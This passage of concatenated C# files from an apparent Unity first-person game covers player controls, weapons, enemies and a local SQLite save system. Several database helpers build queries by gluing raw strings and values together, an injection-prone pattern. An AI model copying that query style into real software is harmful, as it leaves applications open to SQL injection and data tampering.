Start()\n {\n\n //simple_select(\"partidas\",\"*\"); //(tableToSelect,item)\n // where(\"Camisas\", \"*\", \"marca\",\"=\" ,\"SwingIt\",true,\"ASC\",\"cantidad\"); //(tableToSelect,item,column,value,isOrdered,orderType,orderCol)\n //insert(\"Camisas\", \"(7,'manunu','721EXP',1996)\"); //(table,col1,...,col4,values) \"(7,'manunu','721EXP',1996)\"\n //updateBd(\"Camisas\",\"7\",\"12\", \"Manuelin\", \"900EXP\", \"25\");//string table,string idRow, string val1, string val2, string val3, string val4\n //delete(\"Camisas\", \"12\");\n //cerrarDb();\n //\n\n }\n\n private void abrirDb()\n {\n //1)Crear y abrir la conexión.\n rutaDb = Application.dataPath + \"/Resources/Data/StreamingAssets/\" + DbFileName;\n strConexion = \"URI=file:\" + rutaDb;\n dbConnection = new SqliteConnection(strConexion);\n dbConnection.Open();\n }\n\n private void simple_select(string table, string item)\n {\n //2)Crear la consulta\n dbCommand = dbConnection.CreateCommand();\n string sqlQuery = \"select \" + item + \" from \" + table;\n dbCommand.CommandText = sqlQuery;\n //string[] row;\n int i = 0;\n\n //3)Leer la Bd\n dataReader = dbCommand.ExecuteReader();\n\n //string suma = \"\";\n while (dataReader.Read())\n { //Mientras esté leyendo la BD\n\n //id\n int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna)\n //marca\n string nombrePartida = dataReader.GetString(1);\n //color\n string statePlayer = dataReader.GetString(2);\n //cantidades\n string fecha = dataReader.GetString(3);\n\n //var dbp = new DbPartidas(id, nombrePartida, statePlayer, fecha);\n //DbPartidas dbp = lg.partidasBox[i].GetComponent();\n //dbp.construct(id,nombrePartida,statePlayer,fecha);\n // dbp.ready = true;\n if(i<2){\n Debug.Log(i);\n i++;\n\n }\n\n\n //dbp.debug();\n\n //string resume = id+\":\"+nombrePartida+\":\"+statePlayer+\":\"+fecha;\n\n\n //suma += id + \"_\" + nombrePartida + \"_\" + statePlayer + \"_\" + fecha+\" -\";\n }\n\n Debug.Log(\"i final es: \" + i);\n\n }\n\n private void where(string table, string item, string col,string comparador, string val, bool isOrdered, string orderType, string orderItem ){\n //2)Crear la consulta\n int n;\n if(!int.TryParse(val, out n)){ //verdadero\n //no es numerica (es string)\n val = \"'\"+val+\"'\";\n } \n dbCommand = dbConnection.CreateCommand();\n string sqlQuery = \"select \" + item + \" from \" + table + \" where \"+col+\" \"+comparador+\" \"+val;\n if(isOrdered){\n sqlQuery += \" order by \"+orderItem +\" \"+orderType;\n \n }\n dbCommand.CommandText = sqlQuery;\n\n //3)Leer la Bd\n dataReader = dbCommand.ExecuteReader();\n\n while (dataReader.Read())\n { //Mientras esté leyendo la BD\n\n //id\n int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna)\n //marca\n string marca = dataReader.GetString(1);\n //color\n string color = dataReader.GetString(2);\n //cantidades\n //int cantidad = dataReader.GetInt32(3);\n\n Debug.Log(id + \"-\" + marca + \"-\" + color);\n\n\n }\n }\n\n private void insertBasic(string table){\n //values ya debe venir asi (val1,val2,val3,val4),.. (....)\n //este es un insert pensado en tablas de 4 columnas. (id,nombrePartida,EXPERIENCIA,fecha)\n //2)Crear la consulta\n dbCommand = dbConnection.CreateCommand();\n //values = \"(7,'manunu','721EXP',1996)\";\n string sqlQuery = \"insert into \" + table + \"(\"+ col2 + \",\" + col3 + \",\" + col4+\")\" +\" values \" + this.values;\n \n dbCommand.CommandText = sqlQuery;\n dbCommand.ExecuteScalar();\n Debug.Log(\"Insert GOOOD\");\n //cerrarDb();\n }\n\n private void updateBd(string table,string idRow, string val1, string val2, string val3, string val4)\n {\n //UPDATE table_name\n // SET column1 = value1, column2 = value2...., columnN = valueN\n // WHERE[condition];\n dbCommand = dbConnection.CreateCommand();\n //values = \"(7,'manunu','721EXP',1996)\";\n string sqlQuery = \"update \" + table +\" set \"+col1+\" = \"+val1+\", \"+col2+\" = '\"+val2+\"', \"+col3+\" = '\"+val3+\"',\"+col4+\" = \"+val4\n + \" where \"+ col1 +\" = \"+ idRow;\n dbCommand.CommandText = sqlQuery;\n dbCommand.ExecuteScalar();\n Debug.Log(\"update GOOOD\");\n }\n\n private void delete(string table,string idRow){\n dbCommand = dbConnection.CreateCommand();\n //values = \"(7,'manunu','721EXP',1996)\";\n string sqlQuery = \"delete from \"+table+\" where \"+col1+\" = \"+idRow;\n dbCommand.CommandText = sqlQuery;\n dbCommand.ExecuteScalar();\n Debug.Log(\"delete GOOOD\");\n }\n\n private void cerrarDb(){\n dataReader.Close();\n dataReader = null;\n dbCommand.Dispose();\n dbCommand = null;\n dbConnection.Close();\n dbConnection = null;\n }\n public void cerrarDb_ins(){\n dbCommand.Dispose();\n dbCommand = null;\n dbConnection.Close();\n dbConnection = null;\n }\n\n private void convertToValues(){\n DbPartidas dbp = GameObject.FindWithTag(\"loadedData\").GetComponent();\n this.values = \"('\"+dbp.nombrePartida + \"','\" + dbp.playerState + \"','\" + dbp.fecha + \"')\";\n\n\n }\n\n public void inserter(){\n abrirDb();\n convertToValues();\n insertBasic(\"partidas\");\n cerrarDb_ins();\n }\n\n }\n/Assets/Scripts/Game/Arrow.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Arrow : Proyectile {\n\n\t\n\tvoid Start(){\n\t\tbase.starting();\n\t\tdmg = 1;\n\t}\n\n}\n/Assets/Scripts/Db/dataManagerPartidaUI.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.UI;\n\npublic class dataManagerPartidaUI : dataManager {\n\n public GenericRepo repo; //aqui ocupa el generico!!!\n public GameObject[] partidasBox;\n\n void Start () {\n // setUp();\n repo.load();\n }\n\n public override void loadHelper()\n {\n //establecer conexión a la base de datos y preguntar por todas las partidas (3 max)\n for (int i = 0; i < 3; i++)\n {\n\n\n if (partidasBox[i].GetComponent().ready)\n {\n partidasBox[i].gameObject.SetActive(true);\n //Debug.Log(partidasBox.ToString());\n Debug.Log(\"Active Self: \" + partidasBox[i].activeSelf);\n Debug.Log(\"Active in Hierarchy\" + partidasBox[i].activeInHierarchy);\n partidasBox[i].GetComponentInChildren().text = partidasBox[i].GetComponent().infoPartida();\n Debug.Log(\"HIII entre aqui!\");\n }\n }\n }\n\n public override void saveHelper()\n {\n throw new System.NotImplementedException();\n }\n\n\n}\n/Assets/Scripts/Db/dataManagerPlayer.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class dataManagerPlayer : dataManager {\n\n // Use this for initialization\n private Player_FPS player;\n\tvoid Start () {\n setUp();\n //loadData();\n player = GameObject.FindWithTag(\"Player\").GetComponent();\n if(player){\n loadHelper();\n }\n\t}\n\n\n public override void loadHelper()//Carga los datos de la partida en player.\n {\n string[] subStrings = dbp.playerState.Split(':');\n player.transform.position = dbp.obtainPos(subStrings[0]);\n player.exp = int.Parse(subStrings[1]);\n player.health = int.Parse(subStrings[2]);\n player.bombAmount = int.Parse(subStrings[4]);\n player.arrowAmount = int.Parse(subStrings[3]);\n player.achievements = subStrings[5];\n\n\n //player.loadData(dbp); //no es el player el que carga sus datos si no el \"loaderDataPlayer\":loaderData\n }\n\n public override void saveHelper()\n {\n string state = player.transform.position.x + \",\" + player.transform.position.y + \",\" + player.transform.position.z + \":\"\n + player.exp + \":\" + player.health + \":\" + player.arrowAmount + \":\" + player.bombAmount + \":\" + \"ninguno\";\n dbp.playerState = state;\n dbp.nombrePartida = \"Partida nº\" + dbp.id;\n dbp.fecha = \"10/09/2018\";\n\n dbp.exp = player.exp;\n dbp.health = player.health;\n dbp.nArrows = player.arrowAmount;\n dbp.nBombs = player.bombAmount;\n dbp.achievements = player.achievements;\n }\n\n public void prepareSave(){\n if (!GameObject.FindWithTag(\"loadedData\")) //si no hay partida cargada... se crea una \"memoria\"\n {\n GameObject obj = new GameObject();\n obj.tag = \"loadedData\";\n dbp = obj.AddComponent();\n\n }\n else\n {\n dbp = GameObject.FindWithTag(\"loadedData\").GetComponent(); //si la hay se carga\n }\n\n saveHelper();\n // dbp.id = 1;\n\n\n \n }\n\n}\n/Assets/Plugins/ConexDB.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Data; //lib 1 BD\nusing System.IO; //lib 2 BD\nusing Mono.Data.Sqlite; //lib 3 BD\nusing System; //lib 4 BD (util)\nusing UnityEngine;\n\npublic class ConexDB : MonoBehaviour {\n\n string rutaDb;\n string strConexion;\n string DbFileName = \"RopaMarianoDB.sqlite\";\n \n IDbConnection dbConnection;\n IDbCommand dbCommand;\n IDataReader dataReader;\n\n\t\n\tvoid Start () {\n abrirDb();\n\t}\n\n private void abrirDb(){\n //1)Crear y abrir la conexión.\n rutaDb = Application.dataPath + \"/StreamingAssets/\" + DbFileName;\n strConexion = \"URI=file:\" + rutaDb;\n dbConnection = new SqliteConnection(strConexion);\n dbConnection.Open();\n\n //2)Crear la consulta\n dbCommand = dbConnection.CreateCommand();\n string sqlQuery = \"select * from Camisas\";\n dbCommand.CommandText = sqlQuery;\n\n //3)Leer la Bd\n dataReader = dbCommand.ExecuteReader();\n\n while(dataReader.Read()){ //Mientras esté leyendo la BD\n\n //id\n int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna)\n //marca\n string marca = dataReader.GetString(1);\n //color\n string color = dataReader.GetString(2);\n //cantidades\n int cantidad = dataReader.GetInt32(3);\n\n Debug.Log(id + \"-\" + marca + \"-\" + color + \"-\" + cantidad);\n\n\n }\n\n dataReader.Close();\n dataReader = null;\n dbCommand.Dispose();\n dbCommand = null;\n dbConnection.Close();\n dbConnection = null;\n }\n\t\n}\n/README.md\n# Ku\nRepository Impls\n/Assets/Scripts/Game/Sword.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Sword : MonoBehaviour {\n\n\n\tpublic float swingingSpeed;\n\tpublic float cooldownSpeed;\n\tpublic float cooldownDuration;\n\tpublic float attackDuration;\n\n\tprivate float cooldownTimer;\n\tprivate Quaternion targetRotation;\n\tprivate Quaternion initialRotation;\n\n\tprivate bool isAttacking;\n\n\tpublic bool IsAttacking {\n\t\tget{\n\t\t\treturn isAttacking;\n\t\t}\n\t}\n\n\n\t// Use this for initialization\n\tvoid Start () {\n\t\tisAttacking = false;\n\t\tinitialRotation = this.transform.localRotation;//Quaternion.Euler(0f,0f,0f); //igual a rotacion inicial ...\n\t\t\n\n\n\t\t//attackDuration = 0.4f; //twitch later\n\t\t//cooldownDuration =as 5f;\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\ttransform.localRotation = Quaternion.Lerp (transform.localRotation, targetRotation, (isAttacking ? swingingSpeed : cooldownSpeed) * Time.deltaTime);\n\t\tcooldownTimer -= Time.deltaTime;\n\t\tDebug.Log(\"initialRotation: \"+initialRotation+\"\\ntargetRotation: \"+targetRotation);\n\t}\n\n\n\tpublic void Attack(){\n\t\tif (cooldownTimer > 0f) {\n\t\t\treturn;\t\t\n\t\t}\n\t\tisAttacking = true;\n\t\ttargetRotation = Quaternion.Euler (75f,-20f,0f);\n\t\tcooldownTimer = cooldownDuration;\n\t\tStartCoroutine (CooldownAttack());\n\t}\n\n\t//Espera el tiempo de ataque y luego devuelve la espadita xD\n\tprivate IEnumerator CooldownAttack(){\n\t\tyield return new WaitForSeconds (attackDuration);\n\t\tisAttacking = false;\n\t\ttargetRotation = initialRotation;//Quaternion.Euler (0f, 0f, 0f);\n\t}\n}\n/Assets/Scripts/Menu/GenericRepo.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic abstract class GenericRepo : MonoBehaviour {\n\n //public DbPartidas partida;\n public abstract void load();\n public abstract void save();\n \n}\n/Assets/Scripts/Game/Proyectile.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Proyectile : MonoBehaviour {\n\n\t// Use this for initialization\n\tpublic float proyectileSpeed = 700f;\n\tpublic float proyectileDuration = 7f;\n\tpublic int dmg;\n\n\tprotected void starting () {\n\t\tGetComponent ().velocity = transform.forward * proyectileSpeed;\n\t\tDestroy (gameObject, proyectileDuration);\n\t}\n}\n/Assets/Scripts/Game/deadZone.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class deadZone : MonoBehaviour {\n\n\tvoid OnTriggerEnter(Collider other)\n\t{\n\t\tif (other.tag ==\"Player\")\n\t\t{\n\t\t\tother.GetComponent ().respawn ();\n\t\t}\n\t}\n}\n/Assets/Scripts/Game/FollowCamera.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class FollowCamera : MonoBehaviour {\n\n\n\t//public Transform targetFollow;\n\t//private Vector3 startPos;\n\t//private float offset_dis;\n\t//private Vector3 cameraPos;\n\n\tvoid Start(){\n\t\t//startPos = this.transform.position;\n\t\t//cameraPos = targetFollow.position + startPos;\n\t\t//offset_dis = Vector3.Distance (startPos, targetFollow.position);\n\t}\n\n\tprivate void update_offset(){\n\t\t//return Vector3.Distance (transform.position, targetFollow.position);\n\t}\n\n}\n/Assets/Scripts/Game/PatrollingLogic.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class PatrollingLogic : MonoBehaviour {\n\n\n\tpublic Vector3[] directions;\n\tpublic float movingSpeed;\n\tpublic int timeToChange;\n\n\tpublic int directionIndex;\n\tpublic float directionTimer;\n\tprivate Rigidbody rb;\n\n\t// Use this for initialization\n\tvoid Start () {\n\t\tdirectionIndex =0;\n\t\tdirectionTimer = timeToChange;\n\t\trb = GetComponent();\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\n\t\tdirectionTimer -= Time.deltaTime;\n\t\tif(directionTimer<=0){\n\t\t\tdirectionTimer =timeToChange;\n\t\t\tdirectionIndex++;\n\n\t\t\tif(directionIndex >= directions.Length){\n\t\t\t\tdirectionIndex=0;\n\t\t\t}\n\t\t}\n\n\t\trb.velocity = new Vector3 (\n\t\t\tdirections[directionIndex].x * movingSpeed,\n\t\t\trb.velocity.y,\n\t\t\tdirections[directionIndex].z * movingSpeed\n\n\t\t);\n\t\t\n\t}\n}\n/Assets/Scripts/Game/fix_pos.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class fix_pos : MonoBehaviour {\n\n\tpublic Transform parent_obj;\n\t// Use this for initialization\n\tvoid Start () {\n\t\t\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\tthis.transform.position = parent_obj.position;\n\t}\n}\n/Assets/Scripts/Menu/SQLRepo.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\nusing System.Data; //lib 1 BD\nusing System.IO; //lib 2 BD\nusing Mono.Data.Sqlite; //lib 3 BD\nusing System; //lib 4 BD (util)\n\npublic class SQLRepo : GenericRepo {\n\n public dataManagerPartidaUI dataManagerPartidaUI;\n\n private IDbConnection dbConnection;\n private IDbCommand dbCommand;\n private IDataReader dataReader;\n\n string rutaDb;\n string strConexion;\n string DbFileName = \"manu2.db\";\n private string table = \"partidas\";\n private string col1 = \"id\", col2 = \"nombrePartida\", col3 = \"statePlayer\", col4 = \"fecha\";\n private string values = \"\";\n\n\n\n \n\n public override void load(){\n rutaDb = Application.dataPath + \"/StreamingAssets/\" + DbFileName;\n strConexion = \"URI=file:\" + rutaDb;\n dbConnection = new SqliteConnection(strConexion);\n dbConnection.Open();\n\n Debug.Log(\"FlagL1\");\n loadHelper(\"*\");\n Debug.Log(\"FlagL2\");\n dataManagerPartidaUI.loadHelper(); //dataManagerPartidaUI\n Debug.Log(\"FlagL3\");\n\n //Cerrando DB...\n dataReader.Close();\n dataReader = null;\n dbCommand.Dispose();\n dbCommand = null;\n dbConnection.Close();\n dbConnection = null;\n\n\n }\n\n\n public override void save()\n {\n\n //Se Crea y abre la conexión con la BD.\n rutaDb = Application.dataPath + \"/StreamingAssets/\" + DbFileName;\n strConexion = \"URI=file:\" + rutaDb;\n dbConnection = new SqliteConnection(strConexion);\n dbConnection.Open();\n\n Debug.Log(\"Flag1\");\n\n //Obteniendo valores de la partida actual (DbPartidas).\n DbPartidas dbp = GameObject.FindWithTag(\"loadedData\").GetComponent();\n this.values = \"('\" + dbp.nombrePartida + \"','\" + dbp.playerState + \"','\" + dbp.fecha + \"')\";\n\n Debug.Log(\"Flag2\");\n //Guardando datos..\n dbCommand = dbConnection.CreateCommand();\n string sqlQuery = \"insert into \" + table + \" (\" + col2 + \",\" + col3 + \",\" + col4 + \")\" + \" values \" + this.values;\n dbCommand.CommandText = sqlQuery;\n dbCommand.ExecuteScalar();\n\n Debug.Log(\"Flag3\");\n //Cerrando DB...\n dbCommand.Dispose();\n dbCommand = null;\n dbConnection.Close();\n dbConnection = null;\n Debug.Log(\"Saved\");\n }\n\n protected void loadHelper(string item)\n {\n //2)Crear la consulta\n dbCommand = dbConnection.CreateCommand();\n string sqlQuery = \"select \" + item + \" from \" + table;\n dbCommand.CommandText = sqlQuery;\n //string[] row;\n int i = 0;\n\n //3)Leer la Bd\n dataReader = dbCommand.ExecuteReader();\n\n //string suma = \"\";\n while (dataReader.Read())\n { //Mientras esté leyendo la BD\n\n //id\n int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna)\n //marca\n string nombrePartida = dataReader.GetString(1);\n //color\n string statePlayer = dataReader.GetString(2);\n //cantidades\n string fecha = dataReader.GetString(3);\n\n //var dbp = new DbPartidas(id, nombrePartida, statePlayer, fecha);\n DbPartidas dbp = dataManagerPartidaUI.partidasBox[i].GetComponent();\n dbp.construct(id, nombrePartida, statePlayer, fecha);\n dbp.ready = true;\n if (i < 2)\n {\n Debug.Log(i);\n i++;\n\n }\n\n }\n }\n\n}\n/Assets/Scripts/Game/SimpleEnemy.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class SimpleEnemy : Enemy {\n\n\n\t// Use this for initialization\n\tvoid Start () {\n\t\tthis.health = 3;\n\t\tthis.dmg = 1;\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t}\n\n\tpublic override void Hit ()\n\t{\n\t\tbase.Hit ();\n\t\tthis.health--;\n\t\tDebug.Log (\"Auch!\");\n\t\tif (health <= 0) {\n Player_FPS player = GameObject.FindWithTag(\"Player\").GetComponent();\n player.exp += 100;\n\t\t\tDestroy (gameObject);\n\t\t}\n\t}\n\n}\n/Assets/Scripts/Game/CameraCycle.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class CameraCycle : MonoBehaviour {\n\n\t//Hice un cambito.\n\tpublic Camera[] cameraArr;\n\tprivate int index;\n\t// Use this for initialization\n\tvoid Start () {\n\t\tthis.index = 0;\n\t\tusingCamera (this.index);\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t\tif (this.index > 2) {\n\t\t\tthis.index = 0;\n\t\t}\n\t\tif (Input.GetKeyDown (KeyCode.Return) && this.index <=2) {\n\t\t\tusingCamera (this.index++);\n\t\t}\n\n\n\t\t\n\t}\n\n\tprivate void usingCamera(int index){\n\t\tfor (int i = 0; i < cameraArr.Length; i++) {\n\t\t\tcameraArr [i].gameObject.SetActive (i == index);\n\t\t}\n\t\n\t}\n}\n/Library/Collab/Download/Assets/Scripts/DBobj.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class DBobj : MonoBehaviour {\n\n\n /*\n *Tiene partidas (es un objeto)\n *Sabe parsear sus datos y se llena\n\n */\n\t// Use this for initialization\n\tvoid Start () {\n\t\t\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t}\n}\n/Assets/Scripts/Game/ShootingEnemy.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class ShootingEnemy : Enemy {\n\n\t// Use this for initialization\n\n\t//Este enemigo tiene una pequeña inclinación hacia adelante cuando se mueve (smooth)\n\t//Sigue al player y cuando está a R distancia de el se detiene, le apunta ( dirección en ese instante) y se demora t segundos en hacer el disparo (charging shoot)\n\t//luego espera t2 segundos y vuelve a empezar el ciclo de ataque(sigue al player)\n\n\tpublic Transform[] cannonPos;\n\tpublic GameObject bulletPrefab;\n\tpublic GameObject model;\n\tpublic float timeToShoot=3f;\n\tprivate float shootTimer;\n public Player_FPS player;\n\n\n void Start () {\n\t\tshootTimer=timeToShoot;\n\t\tdmg = 1;\n player = GameObject.FindWithTag(\"Player\").GetComponent();\n Debug.Log(\"PlayerBombs: \" + player.bombAmount);\n\n }\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\tshootTimer-= Time.deltaTime;\n\t\tif(shootTimer<=0f){\n\t\t\tshootTimer = timeToShoot;\n\t\t\t\tvar bullet =Instantiate(bulletPrefab);\n\t\t\t\tbullet.transform.position = cannonPos[1].position + model.transform.forward;\n\t\t\t\tbullet.transform.forward = model.transform.forward;\n\t\t\t\n\t\t}\n\t}\n\tpublic override void Hit ()\n\t{\n\n base.Hit ();\n\t\tthis.health--;\n\t\tDebug.Log (\"Dush!\");\n\t\tif (health <= 0) {\n\n player.exp += 100;\n Debug.Log(\"Playerexp: \"+player.exp);\n Destroy (gameObject);\n\t\t}\n\t}\n}\n/Assets/Scripts/Game/PlayerMovement.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class PlayerMovement : MonoBehaviour {\n\n\tpublic float rotatingSpeed;\n\tpublic float moveSpeed;\n\tpublic float jumpForce;\n\tprivate bool canJump;\n\tprivate Transform lastSpawn;\n\tpublic Transform firstSpawn;\n\n\tpublic Transform obj;\n\t// Use this for initialization\n\tvoid Start () {\n\t\tcanJump = true;\n\t\tlastSpawn = firstSpawn;\n\t}\n\n\tvoid Update(){\n\t\tif (Input.GetKeyDown (KeyCode.Space) && canJump) {\n\t\t\tobj.transform.GetComponent ().AddForce (Vector3.up * moveSpeed * jumpForce);\n\t\t\tcanJump = false;\n\n\t\t}\n\t\tprocessInput ();\n\n\n\t}\n\n\tprivate void processInput(){\n\n\t\t\n\t\tif (Input.GetKey (KeyCode.LeftArrow))\n\t\t\tthis.transform.RotateAround (transform.position, Vector3.up, -rotatingSpeed * Time.deltaTime);\n\t\tif (Input.GetKey (KeyCode.RightArrow))\n\t\t\tthis.transform.RotateAround (transform.position, Vector3.up, rotatingSpeed * Time.deltaTime);\n\t\tif (Input.GetKey (KeyCode.UpArrow))\n\t\t\tthis.transform.position += transform.forward* moveSpeed * Time.deltaTime;\n\t\tif (Input.GetKey(KeyCode.DownArrow))\n\t\t\tthis.transform.position += transform.forward * -moveSpeed * Time.deltaTime;\n\t}\n\n\tpublic Vector3 respawn(){\n\t\ttransform.position = lastSpawn.position;\n\t\treturn lastSpawn.position;\n\t}\n\tpublic void jumpAble(){\n\t\tcanJump = true;\n\t}\n\n\tpublic void renewSpawn(Vector3 newSpawn){\n\t\tlastSpawn.position = newSpawn;\n\t}\n\n\t\t\n}\n\n\n/Assets/Scripts/Game/Player_FPS.cs\nusing System.Collections;\nusing System.Collections.Generic;\n\nusing UnityEngine;\n\npublic class Player_FPS : MonoBehaviour {\n\n\n\t\t[Header(\"Visuals\")]\n\t\tpublic GameObject modelPlayer;\n\n\t\t[Header(\"Attributes\")]\t\n\t\tpublic int health = 5;\n public int exp=0;\n public string achievements;\n\n\t\t[Header(\"Movement\")]\n\t\tpublic float moveVelocity;\n\t\tpublic float jumpVelocity;\n\t\tpublic float rotatingSpeed;\n\t\tpublic float throwingSpeed;\n\t\tpublic float knockbackForce;\n\t\tpublic float knockbackTime;\n\t\tpublic float upForce;\n\t\tprivate float knockbackTimer;\n\n\n\t\t\n\t\t[Header(\"Equipment\")]\n\t\tpublic Sword sword;\n\t\tpublic Bow bow;\n\t\tpublic int arrowAmount = 15;\n\t\tpublic GameObject bombPrefab;\n\t\tpublic int bombAmount;\n\n\t\t[Header(\"Others\")]\n\t\tprivate bool canJump;\n\t\tprivate Quaternion playerModelRotation;\n\t\tprivate Transform lastSpawn;\n\t\tpublic Transform firstSpawn;\n\t\tprivate Rigidbody rb;\n private bool gameFlag = false;\n private bool isGrounded = false;\n private GameObject sceneController;\n\n\n\n\t\t// Use this for initialization\n\t\tvoid Start () {\n\t\t\tcanJump = true;\n\t\t\tlastSpawn = firstSpawn;\n\t\t\trb = transform.GetComponent ();\n\t\t\t//playerModelRotation = modelPlayer.GetComponent ().rotation;\n\t\t\tbow.gameObject.SetActive (false);\n sceneController = GameObject.FindWithTag(\"SceneController\");\n \n\n\n }\n\n\t\tvoid Update(){\n\t\t\t\n\t\t\tRaycastHit hit;\n\t\t\tif(Physics.Raycast(transform.position,Vector3.down,out hit,1.01f)){\n\t\t\t\tif (hit.collider.tag == \"floor\") {\n\t\t\t\t\tthis.canJump = true;\n this.isGrounded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\n\t\t\t//modelPlayer.transform.rotation = Quaternion.Lerp (modelPlayer.transform.rotation, playerModelRotation, rotatingSpeed * Time.deltaTime);\n\t\t\tif(knockbackTimer>0f){\n\t\t\t\tknockbackTimer-=Time.deltaTime;\n\t\t\t} else{\n\t\t\t\tprocessInput ();\n\t\t\t}\n\t\t\t\n\n\n\t\t}\n /*\n public void loadData(DbPartidas dbp){\n\n string[] subStrings = dbp.playerState.Split(':');\n this.transform.position = dbp.obtainPos(subStrings[0]);\n this.exp = int.Parse(subStrings[1]);\n Debug.Log(\"Cargando EXP: \" + subStrings[1]);\n this.health = int.Parse(subStrings[2]);\n this.arrowAmount = int.Parse(subStrings[3]);\n this.bombAmount = int.Parse(subStrings[4]);\n this.achievements = subStrings[5];\n }*/\n\n\t\tprivate void processInput(){\n\t\t\t\n\n\t\trb.velocity = new Vector3 (0f,rb.velocity.y,0f);\n /*\n float Horizontal = Input.GetAxis(\"Horizontal\");\n float Vertical = Input.GetAxis(\"Vertical\");\n\n if (Input.GetKey(KeyCode.W))\n {\n rb.velocity = transform.forward * (Vertical * speed);\n }\n if (Input.GetKey(\"s\"))\n {\n rb.velocity = transform.forward * (Vertical * speed);\n }\n if (Input.GetKey(\"a\"))\n {\n rb.velocity = transform.right * (Horizontal * speed);\n }\n if (Input.GetKey(\"d\"))\n {\n rb.velocity = transform.right * (Horizontal * speed);\n }*/\n\n if(Input.GetKeyDown(KeyCode.Escape)){\n //llama un prepareSave del datamanagerplayer\n //GameObject.FindWithTag(\"SceneController\")\n sceneController.GetComponent().prepareSave();\n if (gameFlag)\n {\n sceneController.GetComponent().gameMenuOff();\n gameFlag = false;\n }\n else\n {\n sceneController.GetComponent().gameMenuOn();\n gameFlag = true;\n }\n }\n\n\t\t\tif (Input.GetKey (KeyCode.A)) {\n //rb.velocity = new Vector3 (-moveVelocity, rb.velocity.y, rb.velocity.z);\n //playerModelRotation = Quaternion.Euler (0f, 270f, 0f);\n rb.velocity += -transform.right * moveVelocity;\n\t\t\t}\n\t\t\tif (Input.GetKey (KeyCode.D)) {\n //rb.velocity = new Vector3 (moveVelocity, rb.velocity.y, rb.velocity.z);\n //playerModelRotation = Quaternion.Euler (0f, 90f, 0f);\n rb.velocity += transform.right * moveVelocity;\n\t\t\t}\n\t\t\tif (Input.GetKey (KeyCode.W)) {\n //rb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, moveVelocity);\n //playerModelRotation = Quaternion.Euler (0f, 0f, 0f);\n rb.velocity += transform.forward * moveVelocity;\n }\n\t\t\tif (Input.GetKey (KeyCode.S)) {\n rb.velocity -= transform.forward * moveVelocity;\n //playerModelRotation = Quaternion.Euler (0f, 180f, 0f);\n }\n\n if(isGrounded){\n rb.velocity = new Vector3(rb.velocity.x, 0f, rb.velocity.z);\n Debug.Log(\"Is grounded\");\n //Vector fixY = \n }\n\n\t\t\tif (Input.GetKeyDown (KeyCode.Space) && canJump) {\n ///rb.velocity = new Vector3 (rb.velocity.x, jumpVelocity, rb.velocity.z);\n rb.velocity += transform.up * jumpVelocity;\n\t\t\t\tcanJump = false;\n isGrounded = false;\n\n\n\t\t\t}\n\n\n //Checking for equipment interaction\n\n if (Input.GetKeyDown (KeyCode.E)) {\n\t\t\t\tsword.Attack ();\n\t\t\t\tsword.gameObject.SetActive (true);\n\t\t\t\tbow.gameObject.SetActive (false);\n\t\t\t}\n\t\t\tif (Input.GetKeyDown (KeyCode.R)) {\n\t\t\t\tthrowBomb ();\n bow.gameObject.SetActive(false);\n }\n\t\t\tif (Input.GetKeyDown (KeyCode.Q)) {\n\t\t\t\tif (arrowAmount <= 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tbow.Attack ();\n\t\t\t\tbow.gameObject.SetActive (true);\n\t\t\t\tsword.gameObject.SetActive (false);\n\t\t\t\tarrowAmount--;\n\t\t\t}\n\t\t}\n\t\t\n\t\tprivate void throwBomb(){\n\t\tif (bombAmount <= 0) {\n\t\t\treturn;\n\t\t}\n\t\t\tvar b = Instantiate (bombPrefab);\n\t\t\tb.transform.position = transform.position + modelPlayer.transform.forward; //* throwingSpeed;\n\t\t\tVector3 throwingDir = (modelPlayer.transform.forward + Vector3.up).normalized;\n\t\t\tb.GetComponent ().AddForce (throwingDir * throwingSpeed);\n\t\t\tbombAmount--;\n\t\t}\n\n\t\t \n\t\tpublic Vector3 respawn(){\n\t\t\ttransform.position = lastSpawn.position;\n\t\t\treturn lastSpawn.position;\n\t\t}\n\t\t\n\t\tpublic void jumpAble(){\n\t\t\tcanJump = true;\n\t\t}\n\n\t\tpublic void renewSpawn(Vector3 newSpawn){\n\t\t\tlastSpawn.position = newSpawn;\n\t\t}\n\n\t\t\n\n\tpublic void OnTriggerEnter(Collider 